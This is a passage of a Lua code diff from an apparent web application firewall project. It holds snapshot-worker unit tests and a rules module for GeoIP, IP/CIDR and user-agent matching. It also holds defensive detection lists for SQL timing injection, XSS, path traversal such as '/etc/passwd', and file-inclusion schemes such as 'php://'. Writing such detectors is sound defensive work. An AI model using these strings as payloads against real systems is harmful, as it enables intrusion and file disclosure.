assert_equal(data["ip_groups_raw:v1"], "valid-v1", "capacity failure preserves current raw")
|
||||
assert_equal(data["ip_groups_raw:v0"], "valid-v0", "capacity failure preserves previous raw")
|
||||
assert_equal(data["ip_groups_raw:v2"], nil, "capacity failure does not publish new raw")
|
||||
assert_equal(worker.current().groups["1"].ip_list[1], "192.0.2.1", "capacity failure preserves worker-local snapshot")
|
||||
assert_equal(#warnings, 1, "capacity failure is logged")
|
||||
end
|
||||
|
||||
local function test_previous_metadata_failure_keeps_committed_snapshot_without_cleanup()
|
||||
local data = {
|
||||
ip_groups_version = "v1",
|
||||
ip_groups_previous_version = "v0",
|
||||
["ip_groups_raw:v1"] = "valid-v1",
|
||||
["ip_groups_raw:v0"] = "valid-v0",
|
||||
}
|
||||
local locks = {}
|
||||
local callback
|
||||
local checksum = "v1"
|
||||
local raw = "valid-v1"
|
||||
local deletes = 0
|
||||
local warnings = {}
|
||||
local dict = {}
|
||||
function dict:get(key) return data[key] end
|
||||
function dict:delete(key) deletes = deletes + 1 data[key] = nil return true end
|
||||
function dict:add(key, value)
|
||||
if locks[key] then return false end
|
||||
locks[key] = value
|
||||
return true
|
||||
end
|
||||
function dict:safe_add(key, value) return dict:add(key, value) end
|
||||
function dict:set(key, value) data[key] = value return true end
|
||||
function dict:safe_set(key, value)
|
||||
if key == "ip_groups_previous_version" then return nil, "no memory", false end
|
||||
data[key] = value
|
||||
return true, nil, false
|
||||
end
|
||||
|
||||
local worker = assert(loadfile(module_path))()
|
||||
assert(worker.init({
|
||||
shared = dict,
|
||||
timer_every = function(_, value) callback = value return true end,
|
||||
read_checksum = function() return checksum end,
|
||||
read_json = function() return raw end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 20 * 1024 * 1024,
|
||||
log_warning = function(message) warnings[#warnings + 1] = message end,
|
||||
}))
|
||||
|
||||
locks = {}
|
||||
checksum = "v2"
|
||||
raw = "valid-v2"
|
||||
callback(false)
|
||||
|
||||
assert_equal(data.ip_groups_version, "v2", "successful commit pointer remains authoritative")
|
||||
assert_equal(data.ip_groups_previous_version, "v0", "failed previous metadata write is not forced")
|
||||
assert_equal(data["ip_groups_raw:v2"], "valid-v2", "new committed raw remains")
|
||||
assert_equal(data["ip_groups_raw:v1"], "valid-v1", "old current raw remains when cleanup is skipped")
|
||||
assert_equal(data["ip_groups_raw:v0"], "valid-v0", "old previous raw remains when cleanup is skipped")
|
||||
assert_equal(deletes, 0, "previous metadata failure skips all cleanup")
|
||||
assert_equal(worker.current().groups["2"].ip_list[1], "198.51.100.2", "worker adopts valid committed v2")
|
||||
assert_equal(#warnings, 1, "previous metadata failure is logged")
|
||||
end
|
||||
|
||||
local function test_oversized_raw_is_rejected_before_shared_publication()
|
||||
local data = { ip_groups_version = "v1", ["ip_groups_raw:v1"] = "valid-v1" }
|
||||
local locks = {}
|
||||
local callback
|
||||
local checksum = "v1"
|
||||
local raw = "valid-v1"
|
||||
local shared_writes = 0
|
||||
local warnings = {}
|
||||
local dict = {}
|
||||
function dict:get(key) return data[key] end
|
||||
function dict:delete(key) data[key] = nil return true end
|
||||
function dict:add(key, value) if locks[key] then return false end locks[key] = value return true end
|
||||
function dict:safe_add(key, value) return dict:add(key, value) end
|
||||
function dict:set(key, value) shared_writes = shared_writes + 1 data[key] = value return true end
|
||||
function dict:safe_set(key, value) shared_writes = shared_writes + 1 data[key] = value return true, nil, false end
|
||||
|
||||
local worker = assert(loadfile(module_path))()
|
||||
assert(worker.init({
|
||||
shared = dict,
|
||||
timer_every = function(_, value) callback = value return true end,
|
||||
read_checksum = function() return checksum end,
|
||||
read_json = function() return raw end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 4,
|
||||
log_warning = function(message) warnings[#warnings + 1] = message end,
|
||||
}))
|
||||
|
||||
locks = {}
|
||||
checksum = "v2"
|
||||
raw = "valid-v2"
|
||||
callback(false)
|
||||
|
||||
assert_equal(shared_writes, 0, "oversized raw is rejected before shared writes")
|
||||
assert_equal(data.ip_groups_version, "v1", "oversized raw preserves commit pointer")
|
||||
assert_equal(data["ip_groups_raw:v1"], "valid-v1", "oversized raw preserves committed data")
|
||||
assert_equal(worker.current().groups["1"].ip_list[1], "192.0.2.1", "oversized raw preserves worker-local snapshot")
|
||||
assert_equal(#warnings, 1, "oversized raw rejection is logged")
|
||||
end
|
||||
|
||||
test_capacity_failure_never_evicts_committed_snapshot()
|
||||
test_previous_metadata_failure_keeps_committed_snapshot_without_cleanup()
|
||||
test_oversized_raw_is_rejected_before_shared_publication()
|
||||
|
||||
return true
|
||||
@@ -0,0 +1,947 @@
|
||||
local _M = {}
|
||||
|
||||
local rules_config
|
||||
local ip_groups_config
|
||||
local ip_groups_runtime
|
||||
local pow_runtime
|
||||
local geo_lookup
|
||||
local geo_module
|
||||
local geo_profiles = { city = false, country = false }
|
||||
|
||||
local function read_file(path)
|
||||
local file, err = io.open(path, "r")
|
||||
if not file then
|
||||
return nil, err
|
||||
end
|
||||
local content = file:read("*a")
|
||||
file:close()
|
||||
return content
|
||||
end
|
||||
|
||||
local function load_json(path)
|
||||
local content, err = read_file(path)
|
||||
if not content or content == "" then
|
||||
return nil, err or "empty file"
|
||||
end
|
||||
local decoded, decode_err = require("cjson.safe").decode(content)
|
||||
if not decoded then
|
||||
return nil, decode_err or "invalid JSON"
|
||||
end
|
||||
return decoded
|
||||
end
|
||||
|
||||
local function warn_rate_limited(key, ...)
|
||||
local dict = ngx.shared and ngx.shared.openflare_waf_config
|
||||
if not dict or not dict.add or dict:add(key, true, 60) then
|
||||
ngx.log(ngx.WARN, ...)
|
||||
end
|
||||
end
|
||||
|
||||
local function array_or_empty(value)
|
||||
if type(value) == "table" then return value end
|
||||
return {}
|
||||
end
|
||||
|
||||
local function file_exists(path)
|
||||
local file = io.open(path, "rb")
|
||||
if not file then return false end
|
||||
file:close()
|
||||
return true
|
||||
end
|
||||
|
||||
local function init_geo_databases(country_path, city_path, path_exists, region_required)
|
||||
local ok, module_or_error = pcall(require, "resty.maxminddb")
|
||||
if not ok or not module_or_error then
|
||||
warn_rate_limited("_geo_module_unavailable", "openflare waf GeoIP module unavailable: ", module_or_error)
|
||||
return
|
||||
end
|
||||
geo_module = module_or_error
|
||||
local profiles = {}
|
||||
if path_exists(city_path) then profiles.city = city_path end
|
||||
if path_exists(country_path) then profiles.country = country_path end
|
||||
if not profiles.city and region_required then
|
||||
warn_rate_limited("_geo_city_unavailable", "openflare waf GeoLite2 City database unavailable; region match takes false branch")
|
||||
end
|
||||
if not profiles.country and not profiles.city then
|
||||
warn_rate_limited("_geo_database_unavailable", "openflare waf GeoIP databases unavailable")
|
||||
return
|
||||
end
|
||||
local function initialize_profile(profile, path)
|
||||
local called, init_result, init_error = pcall(geo_module.init, { [profile] = path })
|
||||
if not called or init_result ~= true then
|
||||
return false, init_error or init_result
|
||||
end
|
||||
geo_profiles[profile] = true
|
||||
return true
|
||||
end
|
||||
local city_initialized, city_error = false, nil
|
||||
if profiles.city then
|
||||
city_initialized, city_error = initialize_profile("city", profiles.city)
|
||||
if not city_initialized and region_required then
|
||||
warn_rate_limited("_geo_city_unavailable", "openflare waf GeoLite2 City database initialization failed; region match takes false branch: ", city_error)
|
||||
end
|
||||
end
|
||||
local country_initialized, country_error = false, nil
|
||||
if profiles.country then
|
||||
country_initialized, country_error = initialize_profile("country", profiles.country)
|
||||
end
|
||||
if not city_initialized and not country_initialized then
|
||||
warn_rate_limited("_geo_database_unavailable", "openflare waf GeoIP database initialization failed: ", country_error or city_error)
|
||||
end
|
||||
end
|
||||
|
||||
local function lookup_geo_profile(ip, profile)
|
||||
if not geo_module or not geo_profiles[profile] then return nil end
|
||||
local ok, result, lookup_error = pcall(geo_module.lookup, ip, nil, profile)
|
||||
if not ok or not result then
|
||||
warn_rate_limited("_geo_lookup_failed_" .. profile, "openflare waf GeoIP ", profile, " lookup failed: ", lookup_error or result)
|
||||
return nil
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function default_geo_lookup(ip, region_required)
|
||||
local result = lookup_geo_profile(ip, "city")
|
||||
local from_city = result ~= nil
|
||||
if not result then result = lookup_geo_profile(ip, "country") end
|
||||
if not result then return nil, nil end
|
||||
local country = result.country and result.country.iso_code or nil
|
||||
local subdivision
|
||||
if from_city then
|
||||
subdivision = result.most_specific_subdivision and result.most_specific_subdivision.iso_code or nil
|
||||
if not subdivision and result.subdivisions and result.subdivisions[1] then
|
||||
subdivision = result.subdivisions[1].iso_code
|
||||
end
|
||||
elseif region_required then
|
||||
warn_rate_limited("_geo_city_unavailable", "openflare waf GeoLite2 City database unavailable; region match takes false branch")
|
||||
end
|
||||
country = country and string.upper(country) or nil
|
||||
subdivision = subdivision and string.upper(subdivision) or nil
|
||||
local region = subdivision
|
||||
if country and subdivision and not string.match(subdivision, "^[A-Z][A-Z]%-") then
|
||||
region = country .. "-" .. subdivision
|
||||
end
|
||||
return country, region
|
||||
end
|
||||
|
||||
local function config_geo_requirements(config)
|
||||
local uses_geo, uses_region = false, false
|
||||
for _, rule in ipairs(array_or_empty(config.rule_groups)) do
|
||||
for _, node in pairs((rule.graph or {}).nodes or {}) do
|
||||
if node.type == "geo_match" then
|
||||
uses_geo = true
|
||||
local node_config = node.config or {}
|
||||
if type(node_config.regions) == "table" and #node_config.regions > 0 then uses_region = true end
|
||||
end
|
||||
end
|
||||
end
|
||||
return uses_geo, uses_region
|
||||
end
|
||||
|
||||
function _M.init(options)
|
||||
options = options or {}
|
||||
local runtime_dir = options.runtime_dir or "__OPENFLARE_RUNTIME_CONFIG_DIR__"
|
||||
-- Always apply explicit test/runtime injections; only short-circuit cold disk load once.
|
||||
if options.config then
|
||||
rules_config = options.config
|
||||
elseif not rules_config then
|
||||
local err
|
||||
rules_config, err = load_json(runtime_dir .. "/waf_config.json")
|
||||
assert(rules_config, "load waf_config.json failed: " .. tostring(err))
|
||||
end
|
||||
if options.ip_groups then
|
||||
ip_groups_config = options.ip_groups
|
||||
-- Drop stale compiled matchers when tests inject a fresh snapshot table.
|
||||
local groups = (ip_groups_config.groups or {})
|
||||
for _, group in pairs(groups) do
|
||||
if type(group) == "table" then group._matcher = nil end
|
||||
end
|
||||
elseif not ip_groups_config and not ip_groups_runtime then
|
||||
ip_groups_runtime = options.ip_groups_runtime or require("waf.ip_groups")
|
||||
local initialized, init_error = ip_groups_runtime.init({ runtime_dir = runtime_dir })
|
||||
assert(initialized, "initialize WAF IP groups failed: " .. tostring(init_error))
|
||||
end
|
||||
if options.pow then
|
||||
pow_runtime = options.pow
|
||||
elseif not pow_runtime then
|
||||
pow_runtime = require("pow.runtime")
|
||||
end
|
||||
if options.geo_lookup then
|
||||
geo_lookup = options.geo_lookup
|
||||
elseif not geo_lookup then
|
||||
local uses_geo, uses_region = config_geo_requirements(rules_config)
|
||||
if uses_geo then
|
||||
init_geo_databases(
|
||||
options.country_mmdb_path or "__OPENFLARE_COUNTRY_MMDB_PATH__",
|
||||
options.city_mmdb_path or "__OPENFLARE_CITY_MMDB_PATH__",
|
||||
options.geo_file_exists or file_exists,
|
||||
uses_region
|
||||
)
|
||||
end
|
||||
geo_lookup = default_geo_lookup
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- Task 7 can atomically replace the worker-local IP group snapshot through this seam.
|
||||
function _M.replace_ip_groups(snapshot)
|
||||
ip_groups_config = snapshot or { groups = {} }
|
||||
end
|
||||
|
||||
local function list_contains(items, value)
|
||||
if type(items) ~= "table" or not value then return false end
|
||||
value = string.upper(value)
|
||||
for _, item in ipairs(items) do
|
||||
if string.upper(tostring(item)) == value then return true end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function parse_ipv4(value)
|
||||
local a, b, c, d = string.match(value or "", "^(%d+)%.(%d+)%.(%d+)%.(%d+)$")
|
||||
if not a then return nil end
|
||||
a, b, c, d = tonumber(a), tonumber(b), tonumber(c), tonumber(d)
|
||||
if a > 255 or b > 255 or c > 255 or d > 255 then return nil end
|
||||
return ((a * 256 + b) * 256 + c) * 256 + d
|
||||
end
|
||||
|
||||
local function split_ipv6_side(value)
|
||||
local result = {}
|
||||
if value == "" then return result end
|
||||
for part in string.gmatch(value, "[^:]+") do
|
||||
if string.find(part, ".", 1, true) then
|
||||
local ipv4 = parse_ipv4(part)
|
||||
if not ipv4 then return nil end
|
||||
result[#result + 1] = math.floor(ipv4 / 65536)
|
||||
result[#result + 1] = ipv4 % 65536
|
||||
else
|
||||
if #part > 4 or not string.match(part, "^[%x]+$") then return nil end
|
||||
local number = tonumber(part, 16)
|
||||
if not number or number > 65535 then return nil end
|
||||
result[#result + 1] = number
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function parse_ipv6(value)
|
||||
value = string.lower(value or "")
|
||||
local compressed_at = string.find(value, "::", 1, true)
|
||||
if compressed_at and string.find(value, "::", compressed_at + 2, true) then return nil end
|
||||
local left, right
|
||||
if compressed_at then
|
||||
left = split_ipv6_side(string.sub(value, 1, compressed_at - 1))
|
||||
right = split_ipv6_side(string.sub(value, compressed_at + 2))
|
||||
else
|
||||
if string.sub(value, 1, 1) == ":" or string.sub(value, -1) == ":" then return nil end
|
||||
left, right = split_ipv6_side(value), {}
|
||||
end
|
||||
if not left or not right then return nil end
|
||||
local missing = 8 - #left - #right
|
||||
if (compressed_at and missing < 1) or (not compressed_at and missing ~= 0) then return nil end
|
||||
local result = {}
|
||||
for _, number in ipairs(left) do result[#result + 1] = number end
|
||||
for _ = 1, missing do result[#result + 1] = 0 end
|
||||
for _, number in ipairs(right) do result[#result + 1] = number end
|
||||
if #result ~= 8 then return nil end
|
||||
return result
|
||||
end
|
||||
|
||||
local function ipv6_key(groups)
|
||||
return table.concat(groups, ":")
|
||||
end
|
||||
|
||||
local function preparse_cidr(cidr)
|
||||
local base, bits = string.match(cidr or "", "^([^/]+)/(%d+)$")
|
||||
bits = tonumber(bits)
|
||||
if not base or not bits then return nil end
|
||||
local base_v4 = parse_ipv4(base)
|
||||
if base_v4 then
|
||||
if bits < 0 or bits > 32 then return nil end
|
||||
if bits == 0 then return { kind = "v4", bits = 0, network = 0, size = 0 } end
|
||||
local size = 2 ^ (32 - bits)
|
||||
return { kind = "v4", bits = bits, network = base_v4 - (base_v4 % size), size = size }
|
||||
end
|
||||
local base_v6 = parse_ipv6(base)
|
||||
if not base_v6 or bits < 0 or bits > 128 then return nil end
|
||||
return { kind = "v6", bits = bits, groups = base_v6 }
|
||||
end
|
||||
|
||||
local function ipv4_in_preparsed(ip_number, cidr)
|
||||
if cidr.bits == 0 then return true end
|
||||
return ip_number - (ip_number % cidr.size) == cidr.network
|
||||
end
|
||||
|
||||
local function ipv6_in_preparsed(ip_groups, cidr)
|
||||
local full_groups, remaining_bits = math.floor(cidr.bits / 16), cidr.bits % 16
|
||||
for index = 1, full_groups do
|
||||
if ip_groups[index] ~= cidr.groups[index] then return false end
|
||||
end
|
||||
if remaining_bits > 0 then
|
||||
local size = 2 ^ (16 - remaining_bits)
|
||||
local index = full_groups + 1
|
||||
if math.floor(ip_groups[index] / size) ~= math.floor(cidr.groups[index] / size) then
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- Prefer resty.ipmatcher (C radix). Fallback: exact hash + pre-parsed CIDR list only.
|
||||
local resty_ipmatcher
|
||||
local resty_ipmatcher_loaded = false
|
||||
|
||||
local function load_resty_ipmatcher()
|
||||
if resty_ipmatcher_loaded then return resty_ipmatcher end
|
||||
resty_ipmatcher_loaded = true
|
||||
local ok, mod = pcall(require, "resty.ipmatcher")
|
||||
if ok and type(mod) == "table" and type(mod.new) == "function" then
|
||||
resty_ipmatcher = mod
|
||||
else
|
||||
resty_ipmatcher = nil
|
||||
end
|
||||
return resty_ipmatcher
|
||||
end
|
||||
|
||||
local empty_ip_matcher = {
|
||||
empty = true,
|
||||
match = function() return false end,
|
||||
}
|
||||
|
||||
local function compile_fallback_ip_matcher(entries)
|
||||
local exact, cidrs = {}, {}
|
||||
for _, item in ipairs(entries) do
|
||||
if string.find(item, "/", 1, true) then
|
||||
local parsed = preparse_cidr(item)
|
||||
if parsed then cidrs[#cidrs + 1] = parsed end
|
||||
else
|
||||
exact[item] = true
|
||||
local v6 = parse_ipv6(item)
|
||||
if v6 then exact["v6:" .. ipv6_key(v6)] = true end
|
||||
end
|
||||
end
|
||||
return {
|
||||
empty = false,
|
||||
match = function(_, ip, _bin, ip_v4, ip_v6)
|
||||
if exact[ip] then return true end
|
||||
if ip_v6 and exact["v6:" .. ipv6_key(ip_v6)] then return true end
|
||||
if not ip_v4 and not ip_v6 then
|
||||
ip_v4 = parse_ipv4(ip)
|
||||
if not ip_v4 then ip_v6 = parse_ipv6(ip) end
|
||||
end
|
||||
for _, cidr in ipairs(cidrs) do
|
||||
if cidr.kind == "v4" and ip_v4 and ipv4_in_preparsed(ip_v4, cidr) then
|
||||
return true
|
||||
end
|
||||
if cidr.kind == "v6" and ip_v6 and ipv6_in_preparsed(ip_v6, cidr) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end,
|
||||
}
|
||||
end
|
||||
|
||||
local function compile_ip_matcher(entries)
|
||||
local list = {}
|
||||
for _, item in ipairs(array_or_empty(entries)) do
|
||||
if type(item) == "string" and item ~= "" then
|
||||
list[#list + 1] = item
|
||||
end
|
||||
end
|
||||
if #list == 0 then return empty_ip_matcher end
|
||||
|
||||
local mod = load_resty_ipmatcher()
|
||||
if mod then
|
||||
local matcher, err = mod.new(list)
|
||||
if matcher then
|
||||
return {
|
||||
empty = false,
|
||||
match = function(_, ip, bin_ip)
|
||||
if bin_ip and matcher.match_bin then
|
||||
local ok = matcher:match_bin(bin_ip)
|
||||
if ok then return true end
|
||||
end
|
||||
return matcher:match(ip) == true
|
||||
end,
|
||||
}
|
||||
end
|
||||
warn_rate_limited("_ipmatcher_new_failed", "openflare waf ipmatcher.new failed: ", err)
|
||||
end
|
||||
return compile_fallback_ip_matcher(list)
|
||||
end
|
||||
|
||||
local node_ip_matcher_cache = setmetatable({}, { __mode = "k" })
|
||||
|
||||
local function matcher_for_node_ip_config(config)
|
||||
config = config or {}
|
||||
local cached = node_ip_matcher_cache[config]
|
||||
if cached then return cached end
|
||||
local entries = {}
|
||||
for _, item in ipairs(array_or_empty(config.ips)) do entries[#entries + 1] = item end
|
||||
for _, item in ipairs(array_or_empty(config.cidrs)) do entries[#entries + 1] = item end
|
||||
local matcher = compile_ip_matcher(entries)
|
||||
node_ip_matcher_cache[config] = matcher
|
||||
return matcher
|
||||
end
|
||||
|
||||
local function matcher_for_ip_group(group)
|
||||
if type(group) ~= "table" then return empty_ip_matcher end
|
||||
if group._matcher then return group._matcher end
|
||||
group._matcher = compile_ip_matcher(group.ip_list)
|
||||
return group._matcher
|
||||
end
|
||||
|
||||
local function matches_ip_values(config, ip)
|
||||
if type(ip) ~= "string" or ip == "" then return false end
|
||||
local bin_ip = ngx.var and ngx.var.binary_remote_addr or nil
|
||||
local ip_v4, ip_v6
|
||||
-- Parse client IP once for pure-Lua fallback CIDR/exact-v6 paths.
|
||||
if not load_resty_ipmatcher() then
|
||||
ip_v4 = parse_ipv4(ip)
|
||||
if not ip_v4 then ip_v6 = parse_ipv6(ip) end
|
||||
end
|
||||
|
||||
local node_matcher = matcher_for_node_ip_config(config)
|
||||
if not node_matcher.empty and node_matcher:match(ip, bin_ip, ip_v4, ip_v6) then
|
||||
return true
|
||||
end
|
||||
|
||||
local snapshot = ip_groups_config or (ip_groups_runtime and ip_groups_runtime.current())
|
||||
local groups = (snapshot or {}).groups or {}
|
||||
for _, id in ipairs(array_or_empty(config.ip_group_ids)) do
|
||||
local group = groups[tostring(id)]
|
||||
if group and group.enabled then
|
||||
local matcher = matcher_for_ip_group(group)
|
||||
if matcher:match(ip, bin_ip, ip_v4, ip_v6) then return true end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function ua_trim(value)
|
||||
return (string.gsub(value or "", "^%s*(.-)%s*$", "%1"))
|
||||
end
|
||||
|
||||
local function ua_label_set(items)
|
||||
if type(items) ~= "table" then return nil, false end
|
||||
local set, count = {}, 0
|
||||
for _, item in ipairs(items) do
|
||||
set[tostring(item)] = true
|
||||
count = count + 1
|
||||
end
|
||||
return set, count > 0
|
||||
end
|
||||
|
||||
local function match_ua_rules(ua_lower, rules, fallback)
|
||||
if ua_lower == "" then return "Unknown" end
|
||||
for _, rule in ipairs(rules) do
|
||||
local matched = false
|
||||
for _, token in ipairs(rule.contains or {}) do
|
||||
if string.find(ua_lower, token, 1, true) then
|
||||
matched = true
|
||||
break
|
||||
end
|
||||
end
|
||||
if not matched and type(rule.all_of) == "table" and #rule.all_of > 0 then
|
||||
matched = true
|
||||
for _, token in ipairs(rule.all_of) do
|
||||
if not string.find(ua_lower, token, 1, true) then
|
||||
matched = false
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if matched then
|
||||
local excluded = false
|
||||
for _, token in ipairs(rule.none_of or {}) do
|
||||
if string.find(ua_lower, token, 1, true) then
|
||||
excluded = true
|
||||
break
|
||||
end
|
||||
end
|
||||
if not excluded then return rule.label end
|
||||
end
|
||||
end
|
||||
return fallback
|
||||
end
|
||||
|
||||
-- Mirrors internal/repository/analytics/browser.go browserRules / osRules.
|
||||
local browser_rules = {
|
||||
{ label = "WeChat", contains = { "micromessenger" } },
|
||||
{ label = "Postman", contains = { "postman" } },
|
||||
{ label = "CLI", contains = { "curl/", "wget/" } },
|
||||
{ label = "Edge", contains = { "edg/", "edgios/", "edga/" } },
|
||||
{ label = "Opera", contains = { "opr/", "opera" } },
|
||||
{ label = "Firefox", contains = { "firefox", "fxios" } },
|
||||
{ label = "Chrome", contains = { "crios", "chrome" }, none_of = { "chromium" } },
|
||||
{ label = "Chromium", contains = { "chromium" } },
|
||||
{ label = "Safari", contains = { "safari" } },
|
||||
{ label = "Bot", contains = { "bot", "spider", "crawler", "slurp" } },
|
||||
}
|
||||
|
||||
local os_rules = {
|
||||
{ label = "Android", contains = { "android" } },
|
||||
{ label = "iOS", contains = { "iphone", "ipad", "ipod", "ios" } },
|
||||
{ label = "Windows", contains = { "windows" } },
|
||||
{ label = "macOS", contains = { "mac os x", "macintosh", "macos" } },
|
||||
{ label = "Chrome OS", contains = { "cros" } },
|
||||
{ label = "Linux", contains = { "linux" } },
|
||||
{ label = "Bot", contains = { "bot", "spider", "crawler" } },
|
||||
}
|
||||
|
||||
local function parse_browser_name_lower(ua_lower)
|
||||
return match_ua_rules(ua_lower, browser_rules, "Other")
|
||||
end
|
||||
|
||||
local function parse_os_name_lower(ua_lower)
|
||||
return match_ua_rules(ua_lower, os_rules, "Other")
|
||||
end
|
||||
|
||||
local function ua_matches_custom_patterns(ua, patterns)
|
||||
for _, pattern in ipairs(array_or_empty(patterns)) do
|
||||
if type(pattern) == "string" and pattern ~= "" then
|
||||
local ok, matched = pcall(function()
|
||||
return string.find(ua, pattern) ~= nil
|
||||
end)
|
||||
if ok and matched then return true end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function matches_ua_check(config)
|
||||
config = config or {}
|
||||
local ua = ua_trim(ngx.var.http_user_agent or "")
|
||||
if config.require_ua and ua == "" then return false end
|
||||
local ua_lower = string.lower(ua)
|
||||
local browser = parse_browser_name_lower(ua_lower)
|
||||
local os_name = parse_os_name_lower(ua_lower)
|
||||
if config.block_common_bots and (browser == "Bot" or os_name == "Bot") then return false end
|
||||
-- Abnormal excludes search-engine / crawler Bot labels; use block_common_bots for those.
|
||||
if config.block_abnormal_ua and (browser == "Other" or browser == "Unknown") then
|
||||
return false
|
||||
end
|
||||
if config.block_custom_ua and ua_matches_custom_patterns(ua, config.custom_ua_patterns) then
|
||||
return false
|
||||
end
|
||||
local browser_set, has_browsers = ua_label_set(config.browsers)
|
||||
local os_set, has_os = ua_label_set(config.operating_systems)
|
||||
if not has_browsers and not has_os then return true end
|
||||
local browser_ok = has_browsers and browser_set[browser] == true
|
||||
local os_ok = has_os and os_set[os_name] == true
|
||||
if has_browsers and not has_os then return browser_ok end
|
||||
if has_os and not has_browsers then return os_ok end
|
||||
local mode = config.match_mode
|
||||
if mode ~= "and" and mode ~= "or" then mode = "or" end
|
||||
if mode == "and" then return browser_ok and os_ok end
|
||||
return browser_ok or os_ok
|
||||
end
|
||||
|
||||
local security_body_max = 65536
|
||||
|
||||
local function url_decode(value)
|
||||
value = string.gsub(value or "", "+", " ")
|
||||
value = string.gsub(value, "%%(%x%x)", function(hex)
|
||||
return string.char(tonumber(hex, 16))
|
||||
end)
|
||||
return value
|
||||
end
|
||||
|
||||
local function security_decode(value)
|
||||
local once = url_decode(value)
|
||||
local twice = url_decode(once)
|
||||
return string.lower(once), string.lower(twice)
|
||||
end
|
||||
|
||||
local function security_match_any(haystacks, patterns)
|
||||
for _, hay in ipairs(haystacks) do
|
||||
if type(hay) == "string" and hay ~= "" then
|
||||
for _, pattern in ipairs(patterns) do
|
||||
if string.find(hay, pattern, 1, true) then return true end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
-- SQL sleep/benchmark: require digit arg to avoid product names like sleep(better).
|
||||
local function security_match_sql_timed(haystacks)
|
||||
for _, hay in ipairs(haystacks) do
|
||||
if type(hay) == "string" and hay ~= "" then
|
||||
if string.find(hay, "sleep(%d", 1, true) or string.find(hay, "benchmark(%d", 1, true) then
|
||||
return true
|
||||
end
|
||||
-- Also accept sleep( 1 ) with optional spaces: sleep( + digit
|
||||
local i = 1
|
||||
while true do
|
||||
local s, e = string.find(hay, "sleep(", i, true)
|
||||
if not s then break end
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*%d") then return true end
|
||||
i = e + 1
|
||||
end
|
||||
i = 1
|
||||
while true do
|
||||
local s, e = string.find(hay, "benchmark(", i, true)
|
||||
if not s then break end
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*%d") then return true end
|
||||
i = e + 1
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
-- XSS: tag/event handlers and URI schemes; skip prose like "javascript: the good parts".
|
||||
local function security_match_xss(haystacks)
|
||||
local tag_like = { "<script", "<iframe", "onerror=", "onload=", "onmouseover=", "document.cookie" }
|
||||
for _, hay in ipairs(haystacks) do
|
||||
if type(hay) == "string" and hay ~= "" then
|
||||
for _, pattern in ipairs(tag_like) do
|
||||
if string.find(hay, pattern, 1, true) then return true end
|
||||
end
|
||||
-- javascript: as URI scheme with code-like body (alert/void/'/") not prose titles.
|
||||
local i = 1
|
||||
while true do
|
||||
local s, e = string.find(hay, "javascript:", i, true)
|
||||
if not s then break end
|
||||
local prev_ok = (s == 1) or string.match(string.sub(hay, s - 1, s - 1), "[=\"'(<;,]")
|
||||
if prev_ok then
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*[\"'`(]")
|
||||
or string.match(rest, "^%s*alert%s*%(")
|
||||
or string.match(rest, "^%s*void%s*%(")
|
||||
or string.match(rest, "^%s*eval%s*%(")
|
||||
or string.match(rest, "^%s*window%.")
|
||||
or string.match(rest, "^%s*document%.") then
|
||||
return true
|
||||
end
|
||||
end
|
||||
i = e + 1
|
||||
end
|
||||
if string.find(hay, "eval(", 1, true) then
|
||||
local _, e = string.find(hay, "eval(", 1, true)
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*[\"'`(]") then return true end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function security_append_decoded(list, value)
|
||||
if type(value) ~= "string" or value == "" then return end
|
||||
local once, twice = security_decode(value)
|
||||
list[#list + 1] = once
|
||||
if twice ~= once then list[#list + 1] = twice end
|
||||
end
|
||||
|
||||
local function security_collect_args(list)
|
||||
if not ngx.req or not ngx.req.get_uri_args then
|
||||
security_append_decoded(list, ngx.var.args or "")
|
||||
return
|
||||
end
|
||||
local args = ngx.req.get_uri_args(100)
|
||||
if type(args) ~= "table" then return end
|
||||
for key, value in pairs(args) do
|
||||
security_append_decoded(list, tostring(key))
|
||||
if type(value) == "table" then
|
||||
for _, item in ipairs(value) do security_append_decoded(list, tostring(item)) end
|
||||
else
|
||||
security_append_decoded(list, tostring(value))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Only Cookie / Referer for injection surfaces. Generic browser headers (UA, Accept, …)
|
||||
-- are high-volume and high false-positive / CPU cost if scanned for SQL/cmd/XSS.
|
||||
local function security_collect_sensitive_headers(list)
|
||||
local cookie = ngx.var.http_cookie
|
||||
if type(cookie) == "string" and cookie ~= "" then
|
||||
security_append_decoded(list, cookie)
|
||||
end
|
||||
local referer = ngx.var.http_referer
|
||||
if type(referer) == "string" and referer ~= "" then
|
||||
security_append_decoded(list, referer)
|
||||
end
|
||||
end
|
||||
|
||||
local function security_read_body()
|
||||
local content_length = tonumber(ngx.var.content_length or "") or 0
|
||||
if content_length <= 0 or content_length > security_body_max then return nil end
|
||||
if not ngx.req or not ngx.req.read_body or not ngx.req.get_body_data then return nil end
|
||||
local ok = pcall(ngx.req.read_body)
|
||||
if not ok then return nil end
|
||||
local body = ngx.req.get_body_data()
|
||||
if type(body) ~= "string" or body == "" then return nil end
|
||||
return body
|
||||
end
|
||||
|
||||
local path_traversal_patterns = {
|
||||
"../", "..\\", "..%2f", "..%5c", "%2e%2e/", "%2e%2e\\", "%252e%252e",
|
||||
"....//", "/etc/passwd",
|
||||
}
|
||||
local file_inclusion_patterns = {
|
||||
"php://", "file://", "zip://", "data://text", "expect://", "/etc/passwd",
|
||||
